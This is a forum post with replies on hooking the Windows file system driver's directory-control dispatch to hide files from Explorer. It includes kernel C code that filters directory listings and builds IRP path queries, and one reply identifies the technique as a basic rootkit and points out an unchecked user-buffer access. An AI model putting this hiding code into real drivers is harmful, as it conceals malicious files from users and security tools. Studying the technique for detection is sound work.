首页
社区
课程
招聘
[原创]挂钩FSD实现文件隐藏
发表于: 2010-3-8 20:51 9074

[原创]挂钩FSD实现文件隐藏

2010-3-8 20:51
9074
【文章标题】: 挂钩FSD实现文件隐藏
【文章作者】: index09  (http://hi.baidu.com/index09 欢迎来做客)
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
  最近看Fastfat驱动想到的方法。查了一下又是被别人玩过了,还是简单说一下吧。
  当explorer进程查看文件夹信息时,会像卷对应的文件系统发送一个IRP
  MajorFunction == IRP_MJ_DIRECTORY_CONTROL
  MinorFunction == IRP_MN_QUERY_DIRECTORY
  IrpSp->Parameters.QueryDirectory.FileInformationClass == FileBothDirectoryInformation
  当文件系统驱动完成这个请求时
  会在Irp->UserBuffer中返回FILE_BOTH_DIR_INFORMATION组成的数组。
  数组中有当前文件夹下的所有文件信息,我们只要把要隐藏的文件从这里面抹去就可以达到文件隐藏的目的了。
  
  挂载后我们的IRP_MJ_DIRECOTRY_CONTROL路径如下
  NTSTATUS
  DirectoryCtrlRoutineKernel(
                             IN PDEVICE_OBJECT DeviceObject,
                             IN PIRP Irp,
                             PDRIVER_DISPATCH DispRoutine
                             )
  {
      PIO_STACK_LOCATION IrpSp;
      PFILE_BOTH_DIR_INFORMATION fileInfos;
      WCHAR buffer[256];
      UNICODE_STRING uniDirName;
      BOOLEAN bGetDirName;
      PFILE_NAME_INFORMATION pFileNameInfo;
      NTSTATUS status;
      ULONG length, currentOffset;
  
      IrpSp = IoGetCurrentIrpStackLocation(Irp);
  
      ASSERT(IrpSp->MajorFunction == IRP_MJ_DIRECTORY_CONTROL);
  
      //只过滤用户态、FileBothDirectoryInformation请求
      if( Irp->RequestorMode == KernelMode ||
          IrpSp->MinorFunction != IRP_MN_QUERY_DIRECTORY ||
          IrpSp->Parameters.QueryDirectory.FileInformationClass != FileBothDirectoryInformation)
          return DispRoutine(DeviceObject,
                             Irp);
  
      //获得目录名
      pFileNameInfo = (PFILE_NAME_INFORMATION)buffer;
      status = IrpGetFilePath(DeviceObject,
                              IrpSp->FileObject,
                              pFileNameInfo,
                              sizeof(buffer));
  
      //不能获得目录名不处理
      if(!NT_SUCCESS(status))
          return DispRoutine(DeviceObject,
                             Irp);
      uniDirName.Buffer = pFileNameInfo->FileName;
      uniDirName.Length = uniDirName.MaximumLength = pFileNameInfo->FileNameLength;
  
      //发送给下层驱动获得目录信息、若请求没完成不处理
      status = DispRoutine(DeviceObject,
                           Irp);
      if(!NT_SUCCESS(status) ||
          status ==  STATUS_PENDING)
          return status;
  
      fileInfos = (PFILE_BOTH_DIR_INFORMATION)Irp->UserBuffer;
      DoFileNameFilter(DeviceObject,
                       &uniDirName,
                       fileInfos,
                       &Irp->IoStatus);
  
      status = Irp->IoStatus.Status;
      return status;
  }
  
  这里有一个问题——如何在这个函数中获得文件的全路径。这里只有目录中的文件名信息。
  但是如果我们想隐藏指定目录下的某个文件,我们还必须的到目录的路径。
  在这个函数中Irp->FileObject是当前目录的文件对象,可以利用这个对象一个IRP_MJ_QUERY_INFORMATION请求下发到Fsd来获得文件夹的路径。
  比较麻烦,不知还有没有其他简单的方法,请教各位大侠 :)
  代码如下:
  NTSTATUS
  IrpGetFilePath(
                 IN PDEVICE_OBJECT DeviceObject,
                 IN PFILE_OBJECT FileObject,
                 IN OUT PFILE_NAME_INFORMATION FileNameInfo,
                 IN ULONG Length
                 )
  {
      NTSTATUS status;
      PIRP irp;
      PIO_STACK_LOCATION irpSp;
      KEVENT event;
  
      if(DeviceObject == NULL ||
         FileObject == NULL ||
         FileNameInfo == NULL ||
         Length == 0)
         return STATUS_INVALID_PARAMETER;
  
      //申请一个IRP
      irp = IoAllocateIrp(DeviceObject->StackSize,
                          FALSE);
      if(irp == NULL)
      {
          KdPrint(("allocate irp fail.\n"));
          return STATUS_INSUFFICIENT_RESOURCES;
      }
  
      //填写IRP
      irpSp = IoGetNextIrpStackLocation(irp);
  
      irp->RequestorMode = KernelMode;
      irp->AssociatedIrp.SystemBuffer = FileNameInfo;
      irp->UserBuffer = NULL;
      irpSp->MajorFunction = IRP_MJ_QUERY_INFORMATION;
      irpSp->Parameters.QueryFile.FileInformationClass = FileNameInformation;
      irpSp->Parameters.QueryFile.Length = Length;
      irpSp->FileObject = FileObject;
  
      //使用完成回调实现同步IO
      KeInitializeEvent(&event,
                        NotificationEvent,
                        FALSE);
      IoSetCompletionRoutine(irp,
                             IrpCompleteRoutine,
                             &event,
                             TRUE,
                             TRUE,
                             TRUE);
  
      //下发请求并完成回调
      status = IoCallDriver(DeviceObject,
                            irp);
      if(status == STATUS_PENDING)
      {
          KeWaitForSingleObject(&event,
                                Executive,
                                KernelMode,
                                FALSE,
                                NULL);
      }
      status = irp->IoStatus.Status;
  
      //请求完毕
      IoFreeIrp(irp);
  
      return status;
  }
  
  然后就是一些简单的处理了,就不说了。
  有兴趣可以看看代码 :)
  代码可以隐藏根目录下的hahaha.txt文件(只是看不到,依然可以打开)

   MJ提到的access user buffer问题没有注意到,低级错误,实在是不应该。感谢提醒 :)
  class问题这里只是提供一种思路,如果想做出有用的模块还有许多class要过滤,再次感谢

--------------------------------------------------------------------------------

                                                       2010年03月08日 20:40:51

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 66
活跃值: (960)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
收藏了。
2010-3-8 21:53
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
3
这不是最原始的basic rootkit然后随便发一个非bothdir的class就可以检查的XXXX吗?

而且还直接access user buffer不检查不try,太cool了
2010-3-8 22:32
0
雪    币: 356
活跃值: (38)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
4
感谢指教,学习了 :)
不过敢直接操作UserBuffer是因为那个时候IRP已经被FSD完成了,既然FSD返回了STATUS_SUCCESS说明它已经帮我们验证过了,不知道是否正确?
2010-3-9 09:03
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
5
userbuffer随时可能invalid,什么情况下也应try

同时假设fsd上还有其他钩子,这个钩子也可能不做任何检查处理故意返回SUCCESS,你就惨了~
2010-3-9 13:15
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
谢谢分享。。
2010-11-2 22:48
0
雪    币: 81
活跃值: (40)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
7
标记起,,以后来看。好久没看驱动了。有点小忘了。。
2010-11-6 17:24
0
游客
登录 | 注册 方可回帖
返回
//